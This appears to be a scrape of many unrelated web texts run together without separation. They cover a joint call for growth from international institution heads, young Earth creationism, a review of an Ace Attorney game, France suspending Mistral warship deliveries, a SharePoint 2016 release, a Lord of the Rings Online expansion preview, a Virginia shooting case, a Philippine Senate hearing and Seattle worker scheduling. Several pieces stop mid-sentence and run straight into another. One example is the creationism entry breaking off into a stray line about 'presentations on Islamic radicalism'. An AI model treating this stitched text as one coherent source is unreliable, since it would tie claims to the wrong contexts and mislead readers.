Alberto Moreno of the Inter-American Development Bank, Josette Sheeran of the United Nations World Food Programme, and Juan Somavia of the International Labour Organisation. The forum said it was the first time the heads of the world's major institutions had come together in such a way. Reflecting the IMF's concern about over-aggressive deficit reduction programmes, the joint statement said governments should "manage fiscal consolidation to promote rather than reduce prospects for growth and employment. It should be applied in a socially responsible manner." The 11-strong group said it wanted to see a comprehensive action plan that could be agreed and implemented at the meeting of the G20 gathering of developed and developing nations in Mexico in June. "We call on leaders to devote the necessary political energy to deliver concrete actions to exit the crisis and boost growth. Every country, working through its regional economic organisations and development banks and through the international financial and UN institutions, has a role to play." While acknowledging that the global economy faced severe challenges, the action plan said momentum could be regained by increasing spending on infrastructure and by "beginning to realise the promise of a greener economy". To do so, the world would need an open trading system, resilient cross-border finance, sustainable government finances, determined and coordinated structural reforms and measures to address inequalities in all countries. In the short term, the 11 leaders said the two most important challenges were to solve the sovereign debt and banking crisis and to restart growth. It urged the implementation of new, tougher regulations for finance and the rapid recapitalisation of banks where necessary. With more than 200 million people currently unemployed around the world, the call to action said policymakers should "address youth and long-term unemployment to provide decent work prospects, along with country-specific structural reforms that are fairly implemented to achieve faster growth. Through dialogue, labour market reforms can be agreed that can both raise employment levels and ease fiscal adjustment." It added: "Boosting jobs and investing in human capital is the most promising way of tackling inequality. We support the work of the ILO and others in assisting governments to examine realistic policy options, including cost-effective social policies to cushion the most vulnerable from adversity. Investment should target skills and education and thus equip people for the future. "Rising inequality calls for heightened consideration of more inclusive models of growth. We must deliver tangible improvements in material living standards and greater social cohesion." The call for action urged governments to resist the temptation to resort to trade barriers in an attempt to safeguard jobs. "Countries must reaffirm that none will resort to growth-destroying protectionism and demonstrate that trade restrictions introduced in response to the economic crisis will be rolled back."Young Earth creationism (YEC) is a form of creationism, a religious belief,[1] which holds that the universe, Earth, and all life on Earth were created by direct acts of God less than 10,000 years ago.[2] Its primary adherents are Christians who subscribe to a literal interpretation of the creation narrative in the Bible's Book of Genesis and believe that God created the Earth in six 24-hour days.[3][4] In contrast to YEC, old Earth creationism (OEC) is the belief in a metaphorical interpretation of the Book of Genesis and the scientifically determined estimated ages of the Earth and universe.[5] Since the mid-20th century, young Earth creationists—starting with Henry Morris (1918–2006)—have devised and promoted a pseudoscientific explanation called "creation science" as a basis for a religious belief in a supernatural, geologically recent creation.[6] Contemporary YEC movements arose in protest to the scientific consensus, established by numerous scientific disciplines, which demonstrates that the age of the universe is around 13.8 billion years, the formation of the Earth happened around 4.5 billion years ago, and the first appearance of life on Earth was at least 3.5 billion years ago.[7][8][9][10][11] A 2017 Gallup creationism survey found 38 percent of adults in the United States held the view that "God created humans in their present form at one time within the last 10,000 years" when asked for their views on the origin and development of human beings, which Gallup noted was the lowest level in 35 years.[12] This level of support could be even lower when poll results are adjusted after comparison with other polls with questions that more specifically account for uncertainty and ambivalence.[13] History [ edit ] The first major comprehensive draft of Genesis was composed by the Yahwist in the late 7th or the 6th century BC, during the Babylonian captivity, with later additions made by the priestly source in the post-exilic period.[14] Young Earth creationists have claimed that their view has its earliest roots in ancient Judaism, citing, for example, the commentary on Genesis by Ibn Ezra (c. 1089–1164).[3] Shai Cherry of Vanderbilt University notes that modern Jewish theologians have generally rejected such literal interpretations of the written text, and that even Jewish commentators who oppose some aspects of science generally accept scientific evidence that the Earth is much older.[15] Calculations based on the Septuagint have traditionally dated creation to around 5500 BC, while the Samaritan Torah produces a date around 4300 BC, and the Masoretic a date around 4000 BC.[16] Many of the earliest Christians who followed the Septuagint calculated the date of creation to be around 5500 BC, and Christians up to the Middle Ages continued to use this rough estimate: Clement of Alexandria (5592 BC), Sextus Julius Africanus (5501 BC), Eusebius (5228 BC), Jerome (5199 BC) Hippolytus of Rome (5500 BC), Theophilus of Antioch (5529 BC), Sulpicius Severus (5469 BC), Isidore of Seville (5336 BC), Panodorus of Alexandria (5493 BC), Maximus the Confessor (5493 BC), George Syncellus (5492 BC) and Gregory of Tours (5500 BC).[17][18] The Byzantine calendar has traditionally dated the creation of the world to 1 September 5509 BC, María de Ágreda and her followers to 5199 BC, while the early Ethiopian Church (as revealed in the Book of Aksum) to 5493 BC.[19][20] Bede was one of the first to break away from the standard Septuagint date for the creation and in his work De Temporibus ("On Time") (completed in 703 AD) dated the creation to 18 March 3952 BC but was accused of heresy at the table of Bishop Wilfrid, because his chronology was contrary to accepted calculations of around 5500 BC.[21] After the Masoretic text was published, dating creation around 4000 BC became common, and was received with wide support.[22] Proposed calculations of the date of creation, using the Masoretic from the 10th century – 18th century include: Marianus Scotus (4192 BC), Maimonides (4058 BC), Henri Spondanus (4051 BC), Benedict Pereira (4021 BC), Louis Cappel (4005 BC), James Ussher (4004 BC), Augustin Calmet (4002 BC), Isaac Newton (4000 BC), Johannes Kepler (27 April, 3977 BC) [based on his book Mysterium], Petavius (3984 BC), Theodore Bibliander (3980 BC), Christen Sørensen Longomontanus (3966 BC), Melanchthon (3964 BC), Martin Luther (3961 BC), John Lightfoot (3960 BC), Cornelius Cornelii a Lapide (3951 BC) Joseph Justus Scaliger (3949 BC), Christoph Helvig (3947 BC), Gerardus Mercator (3928 BC), Matthieu Brouard (3927 BC), Benito Arias Montano (3849 BC), Andreas Helwig (3836 BC), David Gans (3761 BC) and Gershom ben Judah (3754 BC).[16][18][23][24][24][25] Among the Masoretic creation estimates or calculations for the date of creation Ussher's specific chronology dating the creation to 4004 BC became the most accepted and popular, mainly because this specific date was attached to the King James Bible.[26] The youngest ever recorded date of creation within the historic Jewish or Christian traditions is 3616 BC, by Yom-Tov Lipmann Heller in the 17th century[27] while the oldest proposed date was 6984 BC by Alfonso X of Castile.[28] However some contemporary or more recent proponents of Young Earth Creationism have taken this figure back further by several thousands of years by proposing significant gaps in the genealogies in chapters 5 and 11 of the Book of Genesis. Harold Camping for example dated the creation to 11,013 BC, while Christian Charles Josias Bunsen in the 19th century dated the creation to 20,000 BC.[29] A number of prominent early Church Fathers and Christian writers, including Origen and Augustine, did not believe that the creation myth in Genesis depicted ordinary solar days and read creation history as an allegory as well as being theologically true.[citation needed] Several early Jews also followed an allegorical interpretation of Genesis, including most notably Philo (On the Creation,
and 392 presentations on Islamic radicalism! Read more on this travesty at WorldNetDaily and Judicial Watch.It's hard to believe in some ways that the Ace Attorney series has gone through six main titles. As a visual novel series of sorts, you'd think that after a while, the game would get too repetitive, or lose it's flair. In fact, the creator of the series only intended it to be three games, with it to end after Trials and Tribulations, one of the best games in the series. Yet, Capcom thought there was more room for stories, so more were made. This of course leads us to the newest entry in the series: Spirit of Justice. I'm… Phoenix Wright: Ace Attorney – Spirit of Justice Review Phoenix Wright: Ace Attorney – Spirit of Justice Review Phoenix Wright: Ace Attorney - Spirit of Justice Review Gameplay - 90% Story - 95% Graphics - 95% Sound - 95% Value - 90% 93 93 % Fantastic Easily the best game in the series, Spirit of Justice puts it all on the line to bring fans a memorable story, with great characters, visuals, sounds, and more. Don't object! Just play the game! It’s hard to believe in some ways that the Ace Attorney series has gone through six main titles. As a visual novel series of sorts, you’d think that after a while, the game would get too repetitive, or lose it’s flair. In fact, the creator of the series only intended it to be three games, with it to end after Trials and Tribulations, one of the best games in the series. Yet, Capcom thought there was more room for stories, so more were made. This of course leads us to the newest entry in the series: Spirit of Justice. I’m happy to say that not only does this game live up to its predecessors, it surpasses them in many ways. In fact, Spirit of Justice is my new favorite Ace Attorney game. No doubt a big thing going into this game was the idea of “how do you top what happened in Dual Destinies?” By that, I mean the concept of the “Dark Age of the Law”, which was a theme throughout nearly every trial. The answer was actually quite surprising, as we traveled to the land of Khura’in, the birthplace of spirit mediums, and a land in deep turmoil. Why? Because their legal system is very one sided, to the point where defense attorneys are considered evil (for reasons I won’t spoil), and new “evidence” seances are considered absolute truths. Because of this, a rebellion is growing, and threatening to take down the current rulers of the land. So, when Phoenix Wright journeys to this land to reconnect with his friend Maya Fey (making her long awaited return to the series), of course he gets pulled into the mess of things. Advertisement From basically the beginning of the game, its clear that Spirit of Justice wanted to go all in on this concept. The first case in this title is easily the longest first case of the series. Which is very significant, as usually the first case goes light on story or length so that new players aren’t overwhelmed immediately. Here though, although they do give all the tutorials necessary, they don’t skimp on the story or the drama. Phoenix has never been in more danger than in these trails in Khura’in, and watching him fight for his client, despite numerous hardships, proves why he’s such a great character. That doesn’t mean there’s nothing going on in the Wright Anything Agency, as both Apollo and Athena are holding down the fort with cases of their own. Unlike in Dual Destinies though, which was very much Athena’s story, this game focuses more on Apollo. As we learn about his past in more depth, as well as how he is tied to the main events of the game. To be honest, Athena does draw the short stick in this situation, however, it does work out because now she can have more room to shine in the next title. As for Apollo, he comes of wonderfully, and has several moments that will make even his harshest critics root for him. The cases themselves are very powerful in both court and investigations. Just when you think you have something figured out, a twist you never expected shines in, and turns things on its head. While you can guess certain culprits, others will show up out of nowhere and prove these storytellers know how to keep you guessing. In fact, certain twists in the games were so shocking, my jaw literally dropped. One twist in particular left me so stunned I had to put down the game because I couldn’t believe what I was saying, yet I was right. Now, there is an oddity in these cases. Case 4, which is an Athena “solo” case, isn’t as robust as the others, as there is no investigation aspect, just the trial itself. This will put off some gamers, despite being similar to other “Case 4’s” in Dual Destinies and Trials and Tribulations. However, this trial was very notable for me, as it brought back a favorite character from Dual Destinies, and gave us a “duel” that I wouldn’t have known to ask for beforehand. Furthermore, this trial planted seeds for Athena to grow in the next title should we get it. I need to stop and make a special note here for the visuals and sounds of this game. Diehard fans know that Ace Attorney was original a 2D game done with sprites. Yet with Dual Destinies, it became a 3D title. However, these models were very simple in look and animation. With Spirit of Justice though, the team went all out. The animations of the characters, both big and small, were masterfully done. Both in look and in intent. For example, in the second case, returning character Ema Skye had to take the stand and testify against a friend of hers. She became very distraught at this idea, and her character model displayed this so beautifully, I honestly teared up. Why? Because I felt so bad for what Ema was going through, and I could see her pain. Many characters have animations like this, and whether they be a young magicians, or a young princess, their emotions are on full display for all to see, it’s great stuff. Also though, they have scenes that go beyond what you would expect to happen. In one case, one of our attorneys has a crisis of conscious, and has to be quite literally threatened back to reality. While you might think this is bad, it actually works beautifully visually. As the character who threatens them literally approaches the “camera” to try and snap them out of it. Making it look like we the player are getting the “pep talk” Similarly, another of our trio has a harsh reality brought to them, and their reaction is both tragic and yet totally believable. Making you feel for them all the more. Add to that, some very beautiful music and sound effects, and you got a beautiful presentation. From the sounds of claps, bells, whistles, skateboards, beads, and more, every sound effect is crisp and detailed. Did they need to do this? No, they honestly didn’t. But by doing so, they made the game an even more memorable experience all around. Sometimes, it’s the little things that make games great. The score itself is near perfect, as it helps sell each scene beautifully, and yet knows when to cut out to let the drama build. The gameplay plays out like you expect an Ace Attorney game to. You find clues, examine them, talk with numerous people, then question witnesses in trial so you can find the true culprit. The new gameplay aspect, the Divination Seances, will test your thinking powers, while the Psyche-Locks, Perceiving, and Mood Matrix return to add to the fun as well. Yes, there are the usual “gaps” in logic where you think a piece of evidence is perfect, but because the game writers want you to go a certain way, it doesn’t work. These can be frustrating, and sometimes you have to Press the witness at every statement just so you can get a certain one to appear and then work your magic, this will try you at times. However, if you keep your patience (as a lawyer should!), you’ll be able to work out the cases without too many resets. I won’t say how this game ends, but I will say it delivers a powerful ending, and if you stay through to the end, you’ll get a tease of what may come next. And for those who’ve been playing for a while, it’s the storyline we’ve been waiting for for quite some time. Phoenix Wright: Ace Attorney – Spirit of Justice shines as few games do. It has beautiful stories, amazing characters, and twists that will keep you on the edge of your seat. If you’re a fan of Ace Attorney, this is a game you must play.After a meeting of the French defense committee on Wednesday, Paris announced that the deliveries would not yet take place given the current unrest in eastern Ukraine. "The President of the Republic declared that - despite the prospect of a ceasefire which still remains to be confirmed and implemented - to date, the conditions for France to deliver the first warship are not in place," a statement from the office of French President Francois Hollande read. The deal, originally struck in 2011, is worth some 1.2 billion euros ($1.6 billion). Given France's slow economic growth and growing unemployment, putting such a large chunk of change at risk by suspending delivery was likely not a decision taken lightly in Paris. It also comes following a recent reshuffle of Hollande's cabinet. The first of two Mistral advanced helicopter assault ships was scheduled for delivery next month, and some Russian troops have already been training on the ship – called the Vladivostok – in western France. The second ship was to be delivered next year. "Although of course it is unpleasant and adds to certain tensions in relations with our French partners, the canceling of the contracts will not be a tragedy for our modernization [of the army]," Deputy Defense Minister Yuri Borisov was quoted as saying by the Itar-Tass news agency on Wednesday. France had drawn international criticism for the deal with Moscow given Russia's stance on the crisis in eastern Ukraine. The suspension was announced on the eve of NATO's annual summit in Wales. At the beginning of August, Germany withdrew government approval for completing the export of a military exercise field simulator to Russia. Berlin had already put the deal on hold after Russia annexed Ukraine's Crimea earlier in the year. That deal, which was almost completed when suspended, was worth around 100 million euros. mz/dr (AP, AFP, Reuters)Actress Sunny Leone says she is glad that she hasn’t got stereotyped in Bollywood. Advertising “Initially I was perceived in a certain way. But now I can proudly say that people have accepted me and are approaching me for good work. I am glad that I am not stereotyped in the industry,” Sunny told IANS. Sunny, who made her Bollywood debut with the erotic thriller “Jism 2” in 2012 and went on to do films like “Ragini MMS 2”, “Ek Paheli Leela” and many more, will be next seen doing an item number in her upcoming film “Luv U Alia”. The film is based on divorce issues and Sunny feels that such problems are definitely on the rise these days. “Divorce is definitely on the rise these days due to high levels of stress. Without patience and trust, it’s extremely difficult for a couple to cope with the pressures. “My husband and I are very clear on the kind of relationship that we want and hence there’s a lot of love, respect and admiration for each other.”she said. Advertising Directed by Indrajit Lankesh, the film is releasing on Friday.Happy days are here for SharePoint 2016 fans. Microsoft just pushed out the Release to Manufacturing (RTM) version and announced the final version will be generally available May 4. It's also released the RTM of Project Server 2016 that's distributed as part of SharePoint Server 2016. As part of today’s announcement, Microsoft has also made cloud hybrid search for SharePoint Server 2013 and later editions available. This will allow on-premises and Office 365 content to be surfaced in one search result. 'Important Milestone' In a blog post, Seth Patton, general manager for the SharePoint and OneDrive Product Management team, describes the release of SharePoint 2016 RTM as an "important milestone" in the delivery of a “significant release” with new capabilities for users, IT pros and administrators. He noted that it has numerous capabilities that will make hybrid cloud environments easier to build and manage. Patton added that RTM was developed on the back of feedback Microsoft received from those who tested the Release Candidate and two earlier beta versions. “Your input, coupled with our learnings from running SharePoint at scale in Office 365, make SharePoint Server 2016 the most reliable, scalable, secure and high-performing SharePoint server release ever," he wrote. So What’s New? Microsoft already leaked the fact that it would be going to RTM on March 14 so today's news wasn’t a surprise. However, Patton did note that Microsoft is "on a mission to make SharePoint simpler, mobile and intelligent and secure to help customers unlock the value of having it as an integrated part of Office 365." Not only will Microsoft optimize SharePoint’s mobile capabilities, it also intends to make it easier to use. “This year, we will release significant new innovations spanning user experiences, document collaboration, mobile enhancements and platform improvements that will redefine modern content collaboration,” he added. It is unlikely that between now and May 4 that Microsoft will say much about SharePoint 2016. However, it has promised to outline its vision for SharePoint and OneDrive for Business, both on-premises and in the cloud with Office 365, in an online event at 9:30 am Pacific Time May 4.Turbine has begun beta-testing on the fifth expansion for the Lord of the Rings Online - Helm's Deep, which will expand Rohan westward and open up the iconic Rohirric locations we've all been waiting for. Players will finally be able to roam around the capital of Edoras as an open-world location, scout from the clifftop overlook of Dunharrow where the Púkel-men hold watch, and wander the walls of the Hornburg, the great fortress within Helm's Deep where the Rohirrim make their last stand against the uruk-hai army of the White Hand. We had a chance to sit down and talk with Leo Tan, Digital Communications Manager at Turbine, and Hannah Foell, Associate Producer of LotRO, to talk about some of the more interesting details about what's in store with Helm's Deep this fall. To start off, we sort of glossed over the stuff that everyone already knows about: Western Rohan will consist of five new regions; there will be a 10-level cap increase with a new tier of crafting; and the epic story will be expanded. "We are re-introducing the story of the book," Hannah says, "moreso than our other expansion packs. This expansion pack is really tied in with the story of the books, so you're gonna get to see the battle at Helm's Deep, you're gonna get to see King Theoden return from the sway of Grima Wormtongue. There are three epic books in this expansion." Basically, the rest of the gigantic region of Rohan will be explored, including some of the lesser-known parts that didn't play a huge role in the books and were more or less ignored in the movies. One of these background bits of lore is the Púkel-men, man-shaped statues possibly crafted by (or perhaps merely resembling) the primitive Drúedain (also known as the Woses) who live in the forest between Rohan and Gondor. The Púkel-men statues line the road to Dunharrow. src="http://www.tentonhammer.com/image/view/253107"> But these are the stuff we already knew about. The big ticket changes coming with Helm's Deep are that all classes will be getting a fairly major revamp, and the Battle of Helm's Deep will be using all-new tech to make it work. The new tech for Helm's Deep is almost a given, but the last time character classes saw a major revision was the Mines of Moria expansion in 2008. The changes since then have been mostly relatively minor tweaks, like reorganizing Traits and tweaking their bonuses, or upping the cap on Virtues a few times. We've been using basically the same UI for this for the past five years, and a major revision is bound to cause some concern among us old-timers. The changes coming with Helm's Deep sound quite promising, though. Currently, characters are limited to a single trait set, which must be painstakingly rebuilt and rebalanced at a bard NPC anytime the player wants to make a change in his character's combat abilities. For example, swapping a Guardian from full-tank spec to DPS involves not just a gear change, but also swapping out most of the Defender of the Free traits in favor of Keen Blade ones to add more oomph to Overpower stance, and changing out Legendary skills from threat-generation to damage-dealing. To do this, the Guardian has to travel all the way back to a major town with a handy Bard, and it costs quite a lot of money to make the changeover. The new system will mirror the Mounted Traits system - a window, accessible anywhere, with multiple setups that you can change on-the-fly (as long as you are out of combat). "We're moving to a trait tree system for classes," Hannah Foell explains. "We thought it made a lot of sense for us. It's an understood system - we did it with mounted combat and we found it to be very successful. And it something our players already understand, so it's a system within which we can work. Each class has three different trait lines that you can spec out, so you specialize very heavily in one line at a time. And then you can specialize in a couple of different other ways and save them as different specs and then you can switch between them as much as you want." LotRO players have been asking for the ability to "multi-spec" for years, and for classes that have choices between very different combat roles (e.g. healing or DPS for Minstrels and Rune-keepers), the ability to quick-change from one role to the other and back again, as needed and on the fly, will be a significant benefit. But this is only a part of the class revamp - the other part involves "streamlining." Essentially, this means eliminating skills that see only limited use, or tying certain skills to specific trait trees. The logic follows along the lines of, "if a person is playing this way, they won't be using these skills, but if he's playing this other way, he will be." Characters will start out with two trait tree setups, and additional setups can be purchased through the LotRO Store. These kinds of changes can be scary to some people. Especially to the bard NPCs that have been hanging out making their livings in taverns and such for years. Now that they are no longer raking in all that cash from re-traiting, they are demoted to simple lute merchants. "Yeah, bards are all retired," Hannah says. "We're going to give them all a boat and a Jimmy Buffet record." Of course, the major focus of the expansion is on the Battle for Helm's Deep, an epic and iconic battle that takes place in Western Rohan. This battle pits the seemingly unstoppable forces of the White Hand against the fleeing and vulnerable Rohirrim, who retreat into the Hornburg, their last-ditch stronghold, where they intend to make their final stand. This battle has been interpreted a few different ways - Tolkien described it one way, Jackson and Bakshi each depicted their own versions. Turbine is committed to remaining faithful to Tolkien's version of the story, where the orcs and uruk-hai hurl themselves at the wall of the Hornburg with reckless abandon and savagery that dismays the besieged Rohirrim. There will be no eleventh-hour elven intervention led by Haldir. "The Battle for Helm's Deep is, I would say, the most epic thing in the imagination when people think of Middle-earth," Hannah explains. "We're very much the game of the books, but Peter Jackson's movie really put Helm's Deep on the map. (But) we follow the book, so for instance Helm's Dike is there. That's something that kinda got removed by Jackson." "The way that we do the Battle for Helm's Deep, through telling the story in a series of instances, means that you see different phases of the battle, and take part in different parts," Leo says. "We already know how this battle ends," Hannah says, "so one of the design challenges that we had was, how do you make a battle that we already know the ending, how do you make that interesting and dynamic and challenging for the player? What we settled on is, we already know that the good guys win, so you as a player decide how much you contribute to that, and how much of that victory is because of your bravery and your amazing ability to load a catapult." The Battle for Helm's Deep instances are not your average instance or skirmish. These instances will be this expansion's endgame content, but it is not limited to end-game players. "You can jump into the Battle for Helm's Deep starting at level 10," Hannah explains. "You'll always play as your own character, and you will get scaled up to level 95. So anyone can play together - if you're level 15, you can play with your friends that are level 55 and level 95." This time around, Turbine wanted to do something for all of their players rather than just for the players on one end of the scale. "We were really proud of mounted combat," Hannah says, "but it was disappointing that only people who were level 75 could take part in it. So we wanted to build something new that everybody could interact with." Actually pulling off a battle as epic as the one at the walls of the Hornburg requires new technology and some of what Leo Tan calls "technical trickery." The forces of the White Hand number in the tens of thousands, and when the player looks down from the wall, he will see what looks like thousands of bloodthirsty orcs laying siege. But there is no realistic way to put ten thousand orcs on the landscape and have the player be able to do anything, and they didn't want to re-use the same kind of animated painting they used for Wulf's Cleft. The orcs will be "fake," but the player will be able to interact with them. Players will be able to take on different roles in Helm's Deep - Vanguard, Engineer or Officer. "To be clear, when I say that, it sort of sounds like we have three new classes within it," Hannah explains. "And that's really not the case. You could jump in and make choices and contribute to the battle using all of those techniques. They're really just categories of actions and choices that you can make within the battle. So, for instance, a Vanguard is sort of traditional combat - going in and fighting with the orcs trying to get over the wall, fighting with the orcs that are already there. An Officer is going to be giving orders, healing troops, and Engineers are going to be interacting with siege weapons in a bunch of different ways. We have new UI for all of the siege weapons and the interactables so that you can interact in a number of ways with every catapult up on the wall. You can load it, you can fix it, you can crank it. And in addition, multiple people can interact with the same catapult at the same time." At the end of the battle, players are rewarded medals and ratings. If the player did okay, he gets a bronze medal. If the player did the best he could possibly do, he gets platinum. These medals are not dependent on level - a level 10 can earn a platinum medal by putting in the effort and really mastering his tasks. The Helm's Deep medals are a new progression currency to be exchanged for specific rewards. And the instances can be completed solo, or in 2, 3, 6 or 12-man groups, depending on the instance. Not all instances come in all sizes. "And they're not just scaled up," Hannah says. "They're all built by hand, so the 12-person space is gonna be a lot different (than the solo space). There's a whole different set of objectives and challenges than there are in solo spaces." As for the tech behind the epic battles, Leo says, "It's all new. We've spent the last year in the bunker working on this, making it as good as it can possibly be. Our aim is very high." So are our expectations. LotRO's Helm's Deep expansion is in closed beta, and is scheduled for launch this fall.For today’s episode of foods around the world, let’s take a look at a new offering from Swedish furniture giant IKEA in Japan: the “ninja” hotdog. It’s called a “ninja” hotdog because it’s dyed pitch black. According to the IKEA site, the inky color comes to the frankfurter and bun thanks to the addition of edible bamboo charcoal, “which is said to have detox properties.” It’s been released as part of IKEA’s celebration of ten years in Japan, and the look and name is an homage to a ninja’s scroll. So if you’re in Japan, in IKEA, and in the mood to deviate from the Swedish meatballs option, you can go for this unique new frank. At 300 yen — about $2.95 — it won’t set you back too much. Write to Raisa Bruner at raisa.bruner@time.com.Coming of age indie comedy Pitching Tents has finalized its cast and production has begun. Set in the 1980s, the story concerns a working class teenager in Pennsylvania struggling to choose between the chance to go to college and the pressure to start working in the local factory. With his no-nonsense father and flustered guidance counselor urging opposite paths, the three of them visit an annual bacchanal held by graduating seniors out in the woods. Once there, they discover that an urban legend of a so-called “goddess camp” is real. Pitching Tents stars Michael Grant in the lead role, along with Jim Norton as the guidance counselor and Eric Allan Kramer as the father. Also starring are Booboo Stewart, Jonathan Lipnicki, Marco James, Samantha Basalari, Spencer Daniels and Vincent Pastore. From Meritage Pictures, it’s directed by Jacob Cooney from a script by Jayme Petrille and Rob Fox. Jane Kelly Kosek and Jayme Petrille produce, with additional production by David Gere. Filming will last until August 23, 2015.County Buildings (right hand half was the restaurant) Plaque to James Henry Cook The Pitman Vegetarian Hotel was a hotel that opened in 1898 in the County Buildings (now Grade II* listed), Corporation Street, Birmingham, England, as an expansion of a vegetarian restaurant on the same site. The manager was James Henry Cook.[1] According to his daughter, Kathleen Keleny, it was named after Sir Isaac Pitman, then vice-president of the Vegetarian Society.[2] It was still operating in the 1930s. The same proprietor ran the Pitman Health Food Co. (also called Pitman Reform Food Stores) at Aston Brook Street, Birmingham, advertising in 1909 as "The Largest Health Food Dealers in the World".[3] Selling direct and by mail order, it manufactured meat-free products including Pitman Sea-Side Paste, Pitman Savoury Nut Meat, Nuto Cream, Brazose Meat, Vigar Extract, Vegsal Soups and Fruitarian Cakes and wafers. It also sold cooking utensils such as the Pitman Steam Cooker, a multilevel boiler and steamer.[citation needed] Mahatma Gandhi is known to have received jars of Nuto Cream and Nuto Cream Soup from the company.[4] See also [ edit ] References [ edit ] Coordinates:A Henrico County judge Thursday scheduled a two-day trial in June for an aspiring rap star who, according to a prosecutor, apparently believed that he had to sacrifice his friend to reach stardom. Henrico Circuit Judge L.A. Harris Jr. denied bond Thursday for Wafeeq Sabir El-Amin, 27, after Deputy Commonwealth's Attorney Thomas L. Johnson described El-Amin as a danger to the public and a man who was so overcome with marijuana when questioned by detectives that he could not remember the events of the month in which he committed the alleged crime. "You are my sacrifice," Johnson quoted El-Amin as saying before he allegedly fired a shot toward his friend's head inside a Henrico home that was to become a music studio. El-Amin is listed in state records as the registered agent of Break Bread Inc., located in the 1000 block of Athens Avenue just north of Brook and Parham roads. According to a search warrant, the shooting at the now-abandoned dwelling the night of Dec. 26 occurred after prolonged marijuana use. The victim awoke from a drowsy sleep to see El-Amin pointing a gun at his head and saying he needed to be sacrificed, according to the search warrant. The bullet ricocheted off the victim's hand sending bone and skin fragments into his eye, according to the warrant, but the victim was able to get hold of the gun and shoot El-Amin in the stomach before he ran off. The victim has not been charged. Johnson said in court Thursday that the trial will delve into the hip-hop music culture and the notion that a secret society called the Illuminati has control over the success of some performers. It was the belief that a sacrifice had to occur in order to join the Illuminati that allegedly incited El-Amin, Johnson said. Investigators recovered more than a pound of marijuana from the Athens Avenue home, according to the search warrant, as well as literature dealing with the Illuminati and its alleged connection to the music industry. Harris, in denying bond for El-Amin, who waved happily to family members in the courtroom Thursday, said he was concerned about Johnson's representations that El-Amin claimed no knowledge of what occurred in December because of the amount of marijuana he had smoked. Johnson said in court that a book about the role of the Illuminati in hip-hop music and especially in the career of rap star 50 Cent was an obsession for El-Amin. El-Amin, who has a South Richmond address and no prior criminal record, is charged with malicious wounding, use of a firearm in commission of a felony, possession of marijuana and possession with intent to distribute marijuana. He was indicted by a grand jury earlier this year. Harris set the trial for June 26 and 27. bmckelway@timesdispatch.com (804) 649-6601 ___ (c)2013 the Richmond Times-Dispatch (Richmond, Va.) Visit the Richmond Times-Dispatch (Richmond, Va.) at www.timesdispatch.com(UPDATED) Senator Richard Gordon initially wants to exclude the issue of extrajudicial killings but the invited guests were not prepared to discuss a different matter Published 11:09 AM, October 13, 2016 MANILA, Philippines (UPDATED) – It was a resolute no that suddenly turned into a yes. Senator Richard Gordon on Thursday, October 13, initally refused to discuss the issue of extrajudicial killings in the Senate probe. After a standoff with Senator Leila de Lima, the new chairman of the Senate committee on justice and human rights flip-flopped moments later after the resource people invited to the hearing were not informed that they would no longer speak about killings but on the death penalty bill instead. Gordon initially decided to exclude the issue of extrajudicial killings from the hearing, even if that was the notice given to senators and resource people alike. This came after the Commission on Human Rights (CHR) did not apologize to the Senate for the statement of CHR Commissioner Roberto Eugenio Cadiz calling Gordon a “coward.” Gordon decided to discuss bills on death penalty instead. But De Lima, who had initiated the probe into extrajudicial killings under the Duterte administration, did not take this sitting down and opposed the move. She submitted two motions – to allow CHR Chairman Jose Luis Gascon to explain the agency’s side before the Senate, and to delay the discussion of the death penalty as there were no “credible” resource people invited. “It is but just fair, just, and right, that we give the chair the chance to make a statement to explain the side of the CHR because the CHR witnesses have been ready, waiting since Day 1 of this ongoing hearing. Some of them come from the province,” De Lima said. But Gordon refused: “I don’t want to disagree. Take it to the floor, which has been done yesterday.” De Lima insisted on her first motion. But when no senator seconded it, Gordon thumbed it down: “Nobody seconded the motion. Motion overruled.” Turnaround Gordon then proceeded to the discussion of the death penalty bills, as he first called on Senator Manny Pacquiao, a party mate of President Rodrigo Duterte, to present his proposed bill. Senator Panfilo Lacson then pointed out that there were only a few resource persons invited to talk about the issue. “I notice we have only one set of resource person here. They all come from law enforcement sector. I don’t know how we can proceed but I suggest we hear the other sectors in the next hearing,” Lacson said. De Lima, for her part, raised a similar concern and asked the committee if the invited guests were sent an updated “notice” that they would be asked about the death penalty and not extrajudicial killings. National Bureau of Investigation Dante Gierran told Gordon they were not given the amended information and, as such, they are not prepared to discuss other issues. “We have not received an amended like what Ma’am De Lima said. We have no notice. At the moment, although I have in my mind personally, it will not bring the thoughts of the bureau at the moment. We are not prepared your honor,” Gierran said. Gordon, calmer than when he rejected De Lima’s motions, apologized and just said that the resource people would speak on the matter they were invited for. In short, the extrajudicial killings. “In that case, if none of you received notice, I’m sorry you weren’t properly notified by the secretary. We will now proceed to the police with what you were here for,” he said. The hearing has so far focused on the police and their data on the killings. Gordon insisted he would not call the CHR witnesses – some of whom De Lima said are from the province and have been waiting to testify since the first hearing – without a CHR apology to the chamber. – Rappler.comOn New Year’s Eve 2015, Grant Medsker Finalized a big decision. He was going to quit his job. Days later, though he wasn’t scheduled to work, the 19-year-old barista took the 51 bus from his Lake City apartment to the Fourth and Seneca Starbucks, stepped into the back office, sat down, and drafted a handwritten letter to his boss. He gave two weeks’ notice. Starbucks had transferred Medsker to the popular location six months earlier, luring him with 40-hour weeks, advanced training, and a possible promotion, he says, to become a trainer himself. But the hours became erratic and unpredictable. Some weeks he only logged eight. He’d threatened to quit before, after his two-week paycheck only totaled about $200, leaving his girlfriend to cover their $1,050 rent and utilities. But his manager talked him out of it, saying they needed him. He stuck around for weekend shifts, but those shifts, too, were haphazard and he was only getting four or four and a half hours instead of eight. Worse, he couldn’t even recoup his transportation costs, which sometimes included a $40 cab ride when he had to open before the buses started running or he needed a quick lift to make it in time for a last-minute work request. A lot of service workers like Medsker are feeling the pinch right now, and scheduling rights are Seattle’s next big labor battle. More than 70 percent of workers between ages 26 and 32 report fluctuating hours—with 50 percent of that same group reporting a weekly change of more than eight hours compared to their supposed schedule. And over 40 percent of hourly workers know their schedules just a week in advance. The issue is currently in front of the Seattle City Council; council member Lisa Herbold has held two public hearings on it. “We aren’t considering these policies because we think it’s a nice thing to do,” she says. “We’re actually trying to respond to changing labor conditions that are causing a greater amount of uncertainty for workers.” The city’s push to regulate scheduling may spur an even more intractable debate than the minimum wage. At issue is the service economy’s business model. A new trend in hourly-wage work known as “just in time” employment, where management calculates labor-to-demand ratios, has become so sophisticated that bosses now manicure hours to maximize efficiency by mixing and matching truncated schedules to fill every hour of the workday. That system also relies on employing extra-large staffs so managers have workers to choose from at all times. The practice empowers management to be flexible, but makes 